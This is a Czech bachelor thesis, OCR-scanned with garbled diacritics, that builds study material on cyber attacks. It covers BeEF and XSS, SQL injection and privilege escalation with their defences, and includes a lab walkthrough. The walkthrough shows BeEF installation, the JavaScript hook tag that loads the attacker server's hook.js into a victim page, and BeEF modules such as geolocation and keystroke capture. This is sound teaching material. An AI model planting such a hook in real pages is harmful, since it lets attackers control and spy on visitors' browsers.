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ANOTACE

Bakalafska prace je zaméfena na rozSifeni studijnich materidli pfedmétu Bezpecnost
informacnich systéma. Teoreticka c¢ast se zabyva podrobnym popisem vybranych
kybernetickych tutokt a obrané¢ proti nim. Praktickd cast se zabyva tvorbou studijnich

materidll, respektive cviceni na vybrané kybernetické utoky pro vyse zminény piedmét.
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TITLE
Examples of cyber attacks

ANNOTATION

The bachelor thesis focuses on expanding the study materials of the Information Systems
Security subject. The theoretical part provides a detailed description of selected cyber attacks
and defenses against them. The practical part involves creating study materials, specifically

exercises on selected cyber attacks for the aforementioned subject.
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UvVoD

Kybernetické ttoky se stavaji neodmyslitelnou soucasti digitdlniho véku, kdyz informacni
technologie a internet formuji zakladni pilife moderni spolecnosti. Tyto Utoky ptedstavuji
nejen vyznamnou hrozbu pro individualni uzivatele, ale také pro podniky ¢i infrastrukturu
stati. S postupujicim rozvojem technologii se zvySuje nejen jejich frekvence, ale takeé
sofistikovanost a devastace, kterou mohou zplsobit. Narodni uUfad pro kybernetickou
a informacni bezpeénost (NUKIB) v roce 2023 zaznamenal rekordni nartist kybernetickych
incidentt, kdy jejich celkovy pocet dosahl 262, témét zdvojnasobujic tak troveil predchoziho

roku. [1]

Cilem bakalarské prace je rozsifit studijni materialy pro predmét Bezpecnost informacnich
systému. U jednotlivych utokt je vysvétlen jejich princip, postup pro provedeni utoku, ale je

1 popsana obrana pied utokem.

Hlavnim divodem vybéru tématu byla zvidavost a motivace se dozvédét o odvétvi
kyberbezpecnosti, kterym bych se chtél v budoucnu zabyvat. Na tomto odvétvi mé zaujala

jeho rozmanitost vyuZiti znalosti z ostatnich oblasti informacnich technologii.

Obsahem bakalaiské prace je nejprve popis vyuzitych technologii pii tvorbé studijnich
materiali. Poté jsou rozebrany jednotlivé kybernetické titoky, jejich princip a obrana proti
nim. V posledni fad¢ bakalaiska prace popisuje provedeni jednotlivych kybernetickych utoka

na riznych ptikladech.
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1 POUZITE TECHNOLOGIE
1.1 HTML - HyperText Markup Language

V roce 1989 ve vyzkumném centru fyziky CERNu spolupracovali Tim Berners-Lee a Robert
Caillau na novém informa¢nim systému, ktery mél propojit dokumenty. V té dobé byly bézné
pouzivany jazyky jako TeX, PostScript a SGML pro tvorbu dokumentd. Berners-Lee si vSak
uvédomil potfebu néceho jednodussiho. Proto v roce 1990 navrhli jazyk HyperText Markup
Language, zkracen¢ HTML a protokol pro jeho ptenos v pocitacové siti HyperText Transfer
Protocol — HTTP. Berners-Lee také vytvoiil prvni webovy prohlize¢, ktery se jmenoval
WorldWideWeb. V pribéhu let vychdzely nové verze, které rozSifovaly schopnosti,
opravovaly chyby anedostatky HyperText Markup Language. Nejnovéjsi verzi je
momentalné HTMLS. [2, s. 10-11]

HyperText Markup Language je znaCkovaci jazyk, ktery popisuje vyznam a strukturu
webového obsahu. Slovo hypertext odkazuje na odkazy propojujici webové stranky, at’ uz
v ramci jednoho webu, nebo napfi¢ riznymi weby. Tyto odkazy jsou klicovym principem

fungovani World Wide Web. [3]

Jazyk vyuZiva systém znacek, takzvanych tagl pro anotaci textu, obrazki a dalSich druht
obsahu. Tim urcuje, jak maji byt jednotlivé Casti interpretovany a zobrazeny webovym
prohlizeCem. HyperText Markup Language tag se sklada z nazvu elementu uzavieného ve
Spicatych zavorkach. Pro lepsi piehlednost a ¢itelnost je doporuceno pouzivat v ndzvech tagt
mald pismena, ackoliv HyperText Markup Language nerozliSuje mezi velkymi a malymi

znaky. [3]

HyperText Markup Language trpi z hlediska kybernetické bezpecnosti piedevS§im na Spatné
koédovaci praktiky pifi vytvaifeni webovych stranek. Mezi znamé zranitelnosti patii napiiklad
Cross Domain Messaging, kterd vznikd, kdyZ webova stranka pouZiva nebezpecnou metodu
postMessage umoziujici cross-domain messaging. Tato metoda je sama o sobé bezpecna, ale

jeji nespravné pouziti muze vést tieba ke kradezi citlivych dat. [4]
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1.2 JavaScript

JavaScript vznikl vdobé, kdy se vyvijely prvni webové prohlizeCe. Netscape
Communications v roce 1994 vytvotila webovy prohlize¢ Netscape Navigator, ktery se stal
nejoblibengjsim prohlizeCem v 90. letech. Spolecnost rychle pochopila potfebu dynamickych
stranek a v roce 1995 zaméstnala Brendana Eicha, aby vyvinul skriptovaci jazyk pro webové
prohlizeCe. Tim vznikl JavaScript. Java vnazvu JavaScript nema nic spolecného
s programovacim jazykem Java. Jedna se o Cisté marketingovy tah ze strany Netscape
Communications. Po uspéchu verze 1.0 Netscape Navigator udrzel vedouci pozici na trhu.
Microsoft reagoval vydanim své implementace JavaScriptu — JScriptu. Jelikoz byly v tu dobu
na trhu v podstaté dva JavaScripty, zacaly vznikat problémy s kompatibilitou. Proto se
rozhodlo standardizovat jazyk pod nazvem ECMAScript. O vyvoj JavaScriptu se staraji

Mozilla Foundation a Ecma International. [5]

JavaScript je jazyk s vysokou urovni abstrakce, ktery se Casto vyuziva pfi vyvoji modernich
webovych aplikaci. Jeho vSestrannost a moznosti ho ¢ini nepostradatelnym prvkem pro
interaktivni a dynamické webové stranky. JavaScript umoziuje tvorbu rtznych funkci
a efektl, jako je naptiklad ovéfovani formuladfd, implementace interaktivnich map, animace
grafiky a mnoho dalSiho. [6] Jako tfeti pilif standardnich webovych technologii spolu
s HTML a CSS pfispiva k vytvafeni plynulého auZivatelsky piivétivého prostiedi na
internetu. Tim poskytuje uzivatelim bohat$i a pfitazliveéj$i zazitek z prohlizeni webovych

stranek.

Z pohledu kybernetické bezpecnosti se JavaScript Casto vyuzivd pro utoky, jako jsou
naptiklad Cross-Site Scripting (XSS) utoky. Tyto utoky umoziuji vkladani Skodlivych skripti
do divéryhodnych webovych stranek, coz mulZe vést napiiklad k odcizeni dat nebo

pfesmérovani uZivatele na phishingové stranky. [7]

1.3 Oracle VM VirtualBox

VirtualBox je open-source software pro virtualizaci x86 architektury pocitacli. SlouZzi jako
hypervizor. Hypervisor je pocitaCovy hardware, firmware ¢i software, ktery generuje
a spravuje virtualni stroje a jejich ptifazené prostiedky hostitelskym pocitacem jako naptiklad

pocet CPU jader nebo diskové misto. [8; 9; 10]

Historie VirtualBoxu sahd do roku 2007, kdy byl vytvofen firmou Innotek GmbH a pozdéji

zakoupila spole¢nost Sun Microsystems, kterd byla odkoupena spole¢nosti Oracle. [9]
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Podpora VirtualBoxu zahrnuje Sirokou Skalu hostitelskych operacnich systémil, vcéetné
Windows, Linuxu a macOS. Mezi podporované hostované operacni systémy patii vybrané
verze Microsoft Windows, rizné distribuce Linuxu, Solaris, macOS, OpenBSD, FreeBSD,
MS-DOS a dalsi. Uzivatel ma také moZznost pozastavit béh virtudlniho stroje a pozdéji ho

obnovit. [9]

1.4 Kali Linux

Kali Linux je specializovana linuxova distribuce vyvijend spolec¢nosti Offensive Security,
ktera je zalozena na popularni distribuci Debian. Primarné se zaméfuje na penetracni testovani
a bezpeCnostni audity a nabizi uzivatelim vice nez 600 sofistikovanych néstrojii pro tyto
ucely. Jeho vyhodou je také detailni dokumentace a dostupnost zdarma pro vetejnost. Kali
Linux je vhodny pro profesionalni bezpecnostni testovani diky své Siroké podpote
bezdratovych zatizeni, mozZnosti ptizpisobeni jadra a ARM procesord. [11; 12, s. 19-20; 13,

s. 3]

Historie Kali Linuxu sahd az kjeho piedchiidci Backtrack, ktery vychdzel z linuxové
distribuce Knoppix a pozdéji se rozvétvil do dalSich distribuci, jako naptiklad WHAX.
Backtrack se stal profesiondlni distribuci specializovanou na penetracni testovani a vydal
nékolik verzi, nez vroce 2013 ptesel pod novy nazev — Kali Linux. Tato zména byla
zpisobena potifebou aktualizace architektury a implementace novych funkci. Kali Linux dédi
dilezité vlastnosti svého ptfedchidce, jako je bezplatnd dostupnost, Siroka podpora
bezdratovych zafizeni a ptfizplsobitelnost jadra, a stdvd se primyslovym standardem pro

penetracni testovani a zabezpeceni IT infrastruktury. [11; 12, s. 19-20; 13, s. 3]

Nutno podotknout, ze Kali Linux neni ojedin€la linuxova distribuce vyuzivana v oblasti
kybernetické bezpecnosti. Mezi dalsi vyuZivané linuxové distribuce patii napiiklad Backbox,

Parrot Security ¢i BlackArch. [14]
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2 TEORETICKA CAST

2.1 BeEF — The Browser Exploitation Framework

Browser Exploitation Framework, zkracené¢ BeEF, je open-source nastroj zameéfeny na
penetracni testovani, ktery vznikl vroce 2006 pod vedenim Wade Alcorna. Projekt byl
puvodné vyvinut vjazyce Ruby a postupné¢ se stal prukopnikem v oblasti vyuzivani
zranitelnosti webovych prohlizeci k hodnoceni bezpecnostnich opatieni cilovych prostredi.
Na rozdil od jinych bezpec¢nostnich frameworkti se BeEF zaméiuje na zneuziti zranitelnosti

na stran¢ klienta, konkrétné na utoky skrze webovy prohlizec. [15; 16]

Hlavnim ucelem BeEF je zachytit (hooknout) jeden nebo vice webovych prohlizecu, které
jsou poté vyuzivany k provadéni fizenych utokii pomoci Uto€nych moduld specificky
navrzenych pro tento ucel. Tyto utocné moduly poskytuji uzivatelim moznost vybirat
a spoustét specifické Utocné moduly v realném case, coz umoznuje prizpisobit utoky
jednotlivym prohlizecim. Diky tomu je BeEF povazovan za vykonny a intuitivni néstroj pro
penetracni testovani, ktery pifinasi uzite¢né nastroje pro hodnoceni bezpecnosti webovych

aplikaci a infrastruktury. [16; 17]

BeEF vyuzivéa JavaScriptovy kod (nazyvany "hook"), ktery se vklada do cilového prostiedi
pomoci HTML tagl <script>. Tento kdod je nezbytny pro zachyceni webovych prohlizecii
a jejich nasledné ovladani prostfednictvim BeEF. V praxi je tento "hook" Casto vkladan do
webovych stranek prostfednictvim zranitelnosti zndmé jako Cross-site scripting (XSS), kde je
mozné vloZit nebezpecny kod do stranky aten je poté provadén v prohlizeci uZivatele. Ve
vychozim nastaveni je URL cesta hooku sloZena z IP adresy provozovatele BeEFu, jeho portu
a /hook.js, viz. Obrazek 1. Pro zajiSténi funkCnosti je nutné zajistit, aby cilové prohliZzece byly

schopny navazat TCP spojeni se serverem BeEF. [17]

"index.html" "submit">Submit<y

Obrazek 1 — Priklad JavaScriptového hooku

Vzhledem k tomu, ze moderni webové prohlizece Casto odmitaji nacitat zdroje JavaScriptu
z nezabezpecenych zdroji, je doporuceno provozovat BeEF za HTTPS (Hypertext Transfer

Protocol Secure) reverzni proxy. Tim je zajiSténa bezpecna komunikace mezi BeEF
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a cilovymi prohliZeci. Pti pouziti HTTPS je rovnéz nezbytné mit platny certifikdt podepsany

davéryhodnou certifikacni autoritou. [17]

2.1.1 XSS

Cross-site scripting (XSS) utoky ptedstavuji zptisob, jak Gito¢nik mize vlozit Skodlivé skripty
do béznych a duvéryhodnych webovych stranek. Tyto utoky se objevuji tehdy, kdyz Gto¢nik
vyuziva webovou aplikaci k odeslani Skodlivého kédu, obvykle ve formé skriptu, ktery se

spousti ve webovém prohlizeci uzivatele. [7]

Utoénik miize vyuzit XSS k odeslani $kodlivého skriptu nevinnému uZivateli. Prohlize¢
uzivatele nerozpozna, ze skript by nemél byt davérovan, a tudiz ho spusti. Skript, ktery je
prohlizeCem povazovan za divéryhodny, pak mtize ziskat ptistup k citlivym informacim, jako

jsou cookies, rela¢ni tokeny, nebo dokonce piepsat obsah stranky. [7]

Chyby, které umoznuji vykonani XSS tutokd, jsou pomérné bézné. Nadace OWASP (The
Open Worldwide Application Security Project), kterd pravidelné zvetejnuje od roku 2003
zebiicek OWASP Top 10, ktery zvyraziiuje ty nejvaznéjsi bezpe€nostni hrozby pro webové
aplikace, fadi XSS utoky zatim kazdy rok mezi piedni pticky tohoto zebticku. [18; 19]

2.1.2 Obrana

O tspésnosti toku pomoci Browser Exploitation Framework rozhoduje, zda se cili Gspésné
spusti JavaScript hook, ktery by umoznil uto¢nikovi ovladat webovy prohlize¢ jeho cile.
Nejjednodussi obranou je blokovat nacteni JavaScriptovych prvka webové stranky, na kterou
se chce uZivatel dostat. MoZnost blokovani JavaScriptu na webovych strankéch nabizi vétSina
webovych prohlize¢li ve svych nastavenich. Tato forma obrany je velmi jednoducha na
implementaci, ovSem blokuje veskeré JavaScriptové prvky na webovych strankach, tedy i ten

neskodny. Muze se tedy stat, ze n¢které stranky nebudou fungovat spravng. [20]

Dalsi moznosti obrany je instalace pluginii do webovych prohlizecd, které vyhledavaji
a blokuji pouze JavaScriptové prvky webovych stranek, jez vyhodnoti jako nebezpecné.
Jednim z téchto pluginti je uMatrix, ktery kromé blokace Skodlivych JavaScriptovych prvki
uklada vysledky skenovani stranek do logli. Nevyhodou této obrany je, ze ne vzdy korektné
dokéaze vyhodnotit Skodlivé JavaScriptové prvky. Stava se tedy, Ze tyto pluginy nezablokuji
Skodlivy obsah nebo zablokuji i neSkodny obsah webové stranky. [20]

Pro linuxové uzivatele je moZnost obrany proti Browser Exploitation Framework nastroj

XSpear, jenz detekuje XSS zranitelnosti na dané webové strance. Je vhodny pro detekci
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reflektovanych XSS zranitelnosti. Také mlze byt vyuzit web developery jako nastroj pro
testovani bezpecnosti webovych stranek. OvSem tento nastroj neni spolehlivy pii detekci

persistentniho XSS. [20]

Program Burp Suite je také vhodnou formou obrany. Skenuje data prochdzejici prohlizeCem
a blokuje skodlivé scripty, které poté uklada do logl. Tento program je velmi spolehlivou
obranou nejen proti XSS utokim a je dostupny na mnoha operacnich systémech. Nevyhodou
této obrany je, ze pokud uzivatel pouziva bezplatnou verzi Burp Suite, nema zptistupnéné
veskeré funkcionality programu. Zaroven dalsi ptfekdzkou pro uzivatele muze byt velmi

komplikované ovladani programu vzhledem k jeho komplexnosti. [20]

2.2 SQL injection

SQL injection Utok se vyznacuje vloZzenim nebo ,,injekci* SQL dotazu Gto¢nikem pies vstupni
data klienta do aplikace za ucelem takové manipulace s databazi, kterd nebyla zamyslena
developerem. Usp&sny SQL injection muZe ¢&ist citlivd data z databaze, modifikovat
databazova data, provadét administrativni operace na databazi naptiklad vypnuti DBMS,
obnovit obsah urcitého souboru pfitomného v souborovém systému DBMS a v nékterych
pfipadech vydavat piikazy do opera¢niho systému. SQL injection Utoky jsou typem
injekéniho utoku, pii kterém jsou do datového vstupu vlozeny SQL piikazy s cilem ovlivnit

provedeni pieddefinovanych SQL piikazi. [21]

SQL injection je mozny, protoZze uZivatelsky vstup je vkladan do skute¢ného SQL dotazu bez
radné kontroly a ocisty. To znamena, Ze jakykoli vstup od uzivatele, ktery aplikace
zpracovava, mize byt potencialné nebezpecny. Utoénik miize poskytnout skodlivy fetdzec

prostfednictvim URL parametrq, téla HTTP pozadavku nebo cookies. [22; 23]

Dle OWASP Top 10 z roku 2021 se utok fadi SQL injection fadi na tteti pticku. Pfedni pozice
v tomto zebticku zastava SQL injection jiz od samotné¢ho vydani OWASP Top 10 v roce

2003. [24]
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2.2.1 Typy SQL utoki
Kyberneticky utok SQL injection se da rozdélit do nékolika kategorii — Union a Error based
SQL injection a Blind SQL injection, ktera se da dale rozd¢lit na Boolean a Time based SQL

injection.

2.2.1.1 Union based SQL injection

Operator UNION v SQL slouzi k spojeni vysledkit SELECT dotazi z riznych tabulek do
jedné tabulky. Utoénik miZe vyuZit tento operator k vlozeni daliiho SELECT dotazu do
puvodniho dotazu, coz mu umozni ziskat data z jinych tabulek v databazi. Takto mize ziskat

citlivé informace nebo provést neopravnéné operace s daty v databazi. [25]

2.2.1.2 Error based SQL injection

V error-based injection se uto¢nik snazi vlozit fetézce, které zplsobi chyby v disledku
nespravné syntaxe nebo sémantiky SQL dotazi. Muze ziskavat informace o aplikaci pomoci
Spatné nakonfigurovanych webovych frameworkt, které generuji chybové zpravy. Nékteré
webové frameworky dokonce obsahuji kompletni sledy volani ovlivnénych webovych

aplikaci. Poté je mozné vyuzit tyto chybové zpravy k vypisu tabulek, sloupcii a hodnot. [26]

2.2.1.3 Blind SQL injection

Blind SQL injection je typ SQL injection Utoku, kdy Uto¢nik vyuZziva nedostatky v aplikaci
k odeslani SQL dotazli na databazi, aniz by m¢l ptfimy pfistup k vystupu téchto dotazi. To
znamena, ze utocnik nemusi vidét vysledky dotazi, ale pouze na zakladé chovani aplikace
nebo odpovédi serveru odhaduje, zda je jeho ttok Uspésny nebo ne. Tento typ utoku je
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atok. [27]

2.2.1.3.1 Boolean based SQL injection

Boolean-based SQL injection je technika utoku, kterd vyuZziva zaslani SQL dotazu do
databaze tak, aby aplikace vratila odliSnou odpovéd’ v zavislosti na tom, zda je vysledek
dotazu pravdivy & nepravdivy. Utoénik miiZze ziskat informace o struktufe databaze a obsahu
dat tim, Ze postupné testuje jednotlivé znaky dotazu a analyzuje reakci aplikace. I kdyZz Zadna
konkrétni data nejsou vracena, uto¢nik mulze ziskat citlivé informace o databazi pouze na
zaklad¢ odpovédi aplikace. Tato metoda je ¢asto pomald, protoze vyzaduje postupné zkouseni

a odhadovani znak. [28]
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2.2.1.3.2 Time based SQL injection

Tento typ SQL injection utoku spociva v zaslani dotazu, ktery pokud je vyhodnocen kladné,
databaze se pozastavi na urcity ¢as a poté vrati vysledky, coz indikuje uspésné provedeni SQL

dotazu. Pomoci této metody Gto¢nik vycisluje kazdy znak pozadovaného tdaje. [29]

2.2.2 Obrana

Jednou z dilezitych praktik obrany pied SQL injection je nikdy nevéfit uzivatelskému vstupu.
Kazdy vstup od uzivatele, ktery aplikace piijima, pfedstavuje potencialni riziko, a proto je
nezbytné provadét sanitizaci dat. To zahrnuje filtrovani vstupd, jako jsou e-mailové adresy

a telefonni ¢isla, aby obsahovaly pouze povolené znaky podle standardt dané¢ho formatu. [30;

31, s. 3-4]

Dulezité je také zabezpecit komunikaci pomoci protokolu HTTPS, ktery zajistuje Sifrovani
dat pfendSenych pfes internet a tim chrani proti moznym utokiim SQL injection. Dynamické
SQL dotazy by mély byt nahrazeny pfipravenymi dotazy nebo uloZenymi procedurami, coz

sniZuje riziko SQL injection utoku. [31, s. 3-4]

Pravidelné aktualizace softwaru jsou kli¢ové, protoze ito¢nici mohou objevit zranitelnosti
v aplikaci a pokusit se je zneuzit. Hashovani dat, napiiklad hesel uzivatelii, pomaha chrénit

data v ptipad¢, Ze utoc¢nik ziska piistup k ulozisti dat. [31, s. 3-4]

Dalsim dilezitym opatifenim je monitorovani SQL dotazii, aby se identifikovaly podezielé
aktivity a zranitelnosti. PouZziti néstroji pro monitorovani, které vyuzivaji technologie jako
strojové ufeni nebo behavioralni analyzu, mize pomoci v detekci neobvyklych vzorl

a potencidlnich hrozeb. [31, s. 3-4]

Jednou znejucinngjSich obran proti SQL injection utoku je ovSem pouZivani
parametrizovanych piikazli. Parametrizovany ptikaz je zvlastni forma SQL dotazu, kterad
odd€luje samotny piikaz od dat, jez jsou do né& vlozena. Misto pifimého vkladani
uzivatelskych vstupl do dotazu jsou tyto hodnoty nahrazeny parametry, coz brani interpretaci
uzivatelskych dat jako soucasti samotného SQL kdédu. Napriklad, misto dotazu jako ,,SELECT
* FROM Users WHERE username = 'John'“ by byl pouzit parametrizovany dotaz
jako ,,SELECT * FROM Users WHERE username = 7?“ Princip parametrizovanych
piikazi spociva v tom, ze databazovy systém rozliSuje mezi samotnym SQL koédem a daty,
ktera jsou do n¢j vkladana. Tim padem je hodnota ,, John* piedana jako parametr oddélené od

dotazu. [30, 32]
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2.3 Eskalace privilegii

Eskalace privilegii je kyberneticky utok, ktery cili na ziskani neopravnéného piistupu
s vy$§imi opravnénimi do systému. Utoénici vyuZivaji riizné metody, jako jsou lidské chyby,
nedostatky v softwaru nebo designové nedostatky, aby pronikli do systému a ziskali vyssi
urovn¢ pristupu, nez které jim pivodné byly piidéleny. Tento typ Utoku casto souvisi
s lateralnim pohybem, kdy ttoc¢nici hledaji cestu do hlubsich vrstev sité¢ za tcelem nalezeni
cennych dat. Vysledkem eskalace privilegii je interni nebo externi uzivatel s neopravnénymi
systémovymi opravnénimi. V zéavislosti na rozsahu priniku mohou utoc¢nici zptisobit mensi
nebo vétsi Skody. To muze byt napiiklad jednoduchy neopravnény e-mail nebo utok
ransomware na velké mnozstvi dat. Pokud zistane nedetekovéan, utoky mohou vést az

k pokro¢ilym trvalym hrozbam. [33]

Utok se da rozdélit na dva hlavni typy — horizontalni a vertikalni eskalace privilegii.
Horizontéalni eskalace privilegii nastava, kdyz utocnik ziska pfistup k béZznému uzivatelskému
Gétu s niz8imi pravy. Utoénik muiZe ziskat ptihlagovaci tdaje zaméstnance a naslednd se
dostat k jeho e-mailiim, souboriim a dal$im aplikacim nebo sitim, ke kterym ma pfistup.
S touto Grovni pozice muze utocnik postupovat horizontaln¢ skrz sit’ a rozsifovat sviij piistup

mezi dal$imi podobné privilegovanymi ucty. [33]

Vertikalni eskalace privilegii zacind podobné jako horizontdlni, ovSem utoénik vyuziva
zakladni pozici ke snaze o vertikalni vzestup misto snahy se rozsifit na dalsi ucty se stejnymi
privilegii. Cilem je tedy ziskat pfistup k uc¢tim s vys$Simi opravnénimi. Napiiklad mize cilit
na ucty s administratorskymi opravnénimi nebo ptistupem k rootu. Tyto ucty mohou byt

pouzity k invazi do jinych ucti. [33]

Dle OWASP Top 10 z roku 2021 se eskalace privilegii fadi na prvni pfi¢ku. Na tuto pozici se
utok posunul z patého mista, kam byl umistén v pfedchozim vydani OWASP Top 10 v roce

2017. [34]

2.3.1 Obrana

Spolehliva obrana proti Gtoku neni, existuje pouze mozna prevence a metody, jak zabranit
rozsédhlému rozsifeni utoku eskalace privilegii pfi kompromitaci aplikace. Eskalace privilegii
muze zacit a pokracovat mnoho zpiisoby, proto je nutné mit obecné dobie zabezpecenou
aplikaci, systém ¢i webovou stranku. Uzivatelé aplikace, systému nebo webové stranky by
méli mit silna hesla k jejich uctim. Soucasné administratofi by méli spravovat a ptipadné

odstranit neaktivni ucty uzivateld. Dobrou obranou pied eskalaci privilegii je také
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monitorovani aktivit privilegovanych ucti pomoci riznych néstroju ¢i personalem. Software
by se m¢l pravidelné aktualizovat. Doporucuje se také pravideln¢ analyzovat kod aplikace,

webovée stranky ¢i systému kvili potencidlnim zranitelnostem jako naptiklad SQL injection.

[35]

Dobrou obranou pted rozsifenim uto¢nika na dalsi Ucty pii eskalaci privilegii je adaptace
principu Least Privilege. Cilem tohoto principu je, Ze kazdy uzivatel by mél operovat

s nejnizsimi moznymi privilegii, se kterymi je schopen vykonat svoji praci. [36]

Pti tvorbé aplikace je dobré se tidit principem separace privilegii. Cilem separace privilegii je
omezit cast kodu, kterd beézi s specialnimi opravnénimi. Tento cil se dosahuje rozdélenim
aplikace na ¢asti, kde jedna &ast ma piistup k privilegiim a ostatni asti b&zi bez nich. Cast
s privilegii se nazyva monitor a ostatni ¢asti bez privilegii jsou oznacovany jako otroci. I kdyz
byva obvykle pouze jeden otrok, neni to vzdy pravidlem. Otrok musi pozadat monitor
o provedeni jakékoliv operace, kterd vyzaduje privilegia. Pfed provedenim pozadavku od
otroka monitor nejprve ovéii jeho platnost. Pokud je pozadavek aktudln€ povolen, monitor ho

provede a vysledky komunikuje zpét otrokovi. [36]
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3 PRAKTICKA CAST

Cilem praktické casti byla tvorba studijnich materiali pro predmét Bezpecnost informacnich
systému. Studijni materidly jsou tvoreny pro vySe zminéné kybernetické utoky v teoretické
¢asti. Studijni materidly se snazi klast diiraz na to, aby student pochopil princip daného

kybernetického utoku a dokazal se orientovat v prostredi.

3.1 Browser Exploitation Framework

Cviceni na kyberneticky utok zvany Browser Exploitation Framework se zaméfuje na
seznameni studenta s funkcionalitou tohoto utoku. Pracuje se v prostfedi opera¢niho systému
Kali Linux. Cviceni pokryva instalaci, pfipravu webové stranky a tfi vybrané utoky, které si
student miize vyzkouset bez toho, aniz by potieboval dopliujici zafizeni jako naptiklad server

nebo dalsi virtuélni stroj.

3.1.1 Instalace a spuSténi

V prvni ¢asti cvi€eni je se studentem probrana instalace a spusténi utoku pies terminal Kali
Linuxu. Po spusténi v termindlu je mu vysvétleno nastaveni hesla ataké JavaScript kod,
takzvany hook, ktery vyuzije pfi tvorbé infikované webové stranky. Zadanim piikazu sudo
apt install beef-xss do terminalu se naistaluje Browser Exploitation Framework
a piikazem sudo apt install chromium se nainstaluje webovy prohlize¢ Chromium,

ktery se vyuZije pii Google phishing ttoku.

— )-[~]
—$ sudo install beef-xss
[sudo] password for kali:
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
The following package was automatically installed and is no longer required:
libcattle-1.0-0
Use 'sudo apt autoremove' to remove it.
The following NEW packages will be installed:
beef-xss
@ upgraded, 1 newly installed, @ to remove and 9 not upgraded.
Need to get 3,548 kB of archives.
After this operation, 20.7 MB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 beef-xss amd64 0.5.4.0+git20220823-0kali2 [3,548 kB]
Fetched 3,548 kB in 11s (325 kB/s)
Selecting previously unselected package beef-xss.
(Reading database ... 430079 files and directories currently installed.)
Preparing to unpack .../beef-xss_0.5.4.0+git20220823-0kali2_amd64.deb
Unpacking beef-xss (0.5.4.0+git20220823-0kali2)
Setting up beef-xss (0.5.4.0+git20220823-0kali2)
beef-xss.service is a disabled or a static unit not running, not starting it.
Processing triggers for kali-menu (2023.4.7)

)-[~]

Obrazek 2 — Instalace Browser Exploitation Framework
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Piikaz sudo beef-xss spusti Browser Exploitation Framework. Pii prvnim spusténi si
student musi vytvofit heslo k pfihlaSeni do webového rozhrani, ze kterého se ovlada utok. Po

volb¢ hesla zobrazena adresa webového rozhrani a hook, ktery se vklada do kodu stranky.

[*] Plea;e wait for the BeEF service to start.

[*]

[*] You might need to refresh your browser once it opens.

[+]

[#*] Web UI: http://127.0.0.1:3000/ui/panel

[*] Hook: <script src="http://<IP>:3000/hook.js"></script>

[#] Example: <script src="http://127.0.0.1:3000/hook.js"></script>

® beef-xss.service - beef-xss
Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Sat 2024-02-17 11:37:36 EST; 5s ago
Main PID: 17608 (ruby)
Tasks: &4 (limit: 8272)
Memory: 86.9M (peak: 87.5M)
CPU: 1.744s
CGroup: {iystem.slice/beeffxss.service

17 :37:39 kali beef[17608]: 24 CreateAutoloader: migrated (0.0075s)
17 kali beef[17608]: 25 CreateXssraysScan: migrating
17 kali beef[17608]: create_table(:xssraysscans)
kali beef[17608]: — 0.0008s
kali beef[17608]: 25 CreateXssraysScan: migrated (0.0009s)
kali beef[17608]: :37:37][*] BeEF is loading. Wait a few seconds ...
kali beef[17608]: 39][!] [AdminUI] Error: Could not minify 'BeEF::Extension :: AdminUI :: API ::Handler'
kali beef[17608]: 39] | [AdminUI] Ensure nodejs is installed and “node' is in “$PATH’
[
[

kali beef[17608]: 39][!] [AdminUI] Error: Could not minify 'BeEF::Extension ::AdminUI ::API::Handler'
11:37:39 kali beef[17608]: :37:39] |_ [AdminUI] Ensure nodejs is installed and “node' is in “$PATH’

Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4. 3.. 2.. 1..

Obrazek 3 — Spusténi Browser Exploitation Framework
Nasledné je se studentem probrano piihlaseni do webového rozhrani a projde se s nim tvodni
strana po piihlaseni, konkrétné liSta s nazvem Hooked Browsers. V této list¢ poté vidime ve
sloZzce Online Browsers aktivni cile, které jsou momentéalné pfipojené ke strance s hookem.

Ve slozce Offline Browsers jsou ulozeny momentalné neaktivni cile.

3.1.2 Priprava prostiedi

K simulaci Utoku na vlastnim pocitaci bylo potieba vytvofit kéd pro infikovanou webovou
stranku. Byl zvolen textovy editor Nano, ktery je uzivatelsky piivétivy. Student ma
k dispozici jiz predpiipraveny HTML kod stranky, kterd obsahuje tfi textova pole s popisky

a tladitko.
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Jméno |john

Prijmeni [doe
Heslo
Submit

Obrazek 4 — Navrh webové stranky index.html

3.1.3 Provedeni webovym rozhranim

Dalsi casti se cvi¢eni zabyva podrobnéjSim seznamenim studenta s uzivatelskym rozhranim
webové aplikace Browser Exploitation Framework, které vyuziva uto¢nik k provedeni ttoka
na cil. Student je sezndmen s prostiedim, kde si mlize zobrazit informace o zafizenich, které
navstivily infikovanou webovou strdnku. Déale je mu prezentovéana lista s logy, kde se si
student muze otestovat zadanim nahodnych informaci do textovych poli, ze Browser
Exploitation Framework dokéaze sledovat pohyby mysi a vstup klavesnice cile na infikované

webové strance.

Nakonec je studentovi vysvétlena liSta s predpifipravenymi utoky. U téchto utokli jsou
zobrazené barevnd koleCka, kde rtizné barvy znazoriuji tspéSnost a detektovatelnost utoku
proti cili. Zelend barva kolecka znamend, Ze dany utok bude funk¢ni vici cili a mél by byt pro
uzivatele neviditelny. Oranzové kolecko u titoku znazorfuje, Ze modul bude funkéni vici cili,
ale miize byt viditelny pro uZivatele. Sedé kole¢ko predstavuje, Ze funkénost Gitoku jesté neni
ovéfena proti tomuto cili a na konec Cervené kolecko u utoku indikuje, Ze Gtok nefunguje
proti tomuto cili. Student je také seznadmen s tim, Ze kromé piedpfipravenych utokd si miize
utoky modifikovat nebo i vytvofit. To se napiiklad hodi, pokud uto¢nik chce provadét
phishingové utoky. Utoénik si vytvoii realistické napodobeniny stranek napiiklad piihlasovaci

stranky k emailu ¢1 bankam.
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Detect Google Desktop
Get Geolocation (Third-Party)
Hook Default Browser
Get Geolocation
Get System Info (Java)
Get Wireless Keys
Hook Microsoft Edge
Get Internal IP (Java)
& Detect Airdroid
& Detect Default Browser
@ Detect Hewleti-Packard
@& Detect Local Drives
@ Detect Software
© Detect Users

Obrdzek 5 — Ukdzka listy s moduly
3.1.3 Get page HTML
Prvni utok ma za cil seznamit vykonavanim utokt na cil. Jedna se o utok, ktery zjisti zdrojovy
kod stranky cile. Utok je k nalezeni ve sloZce Browser a po kliknuti na n&j se zobrazi popis
utoku a tlacitko Execute, které vykona dany utok. Vysledek utoku si miizeme zobrazit v listé
Module Results History, kde se zobrazi HTML kod webové stranky, kterou si student
ptipravil. Obdobny postup pro provedeni itoki je i u dalSich probiranych utokda.

3.1.4 Fake notification bar

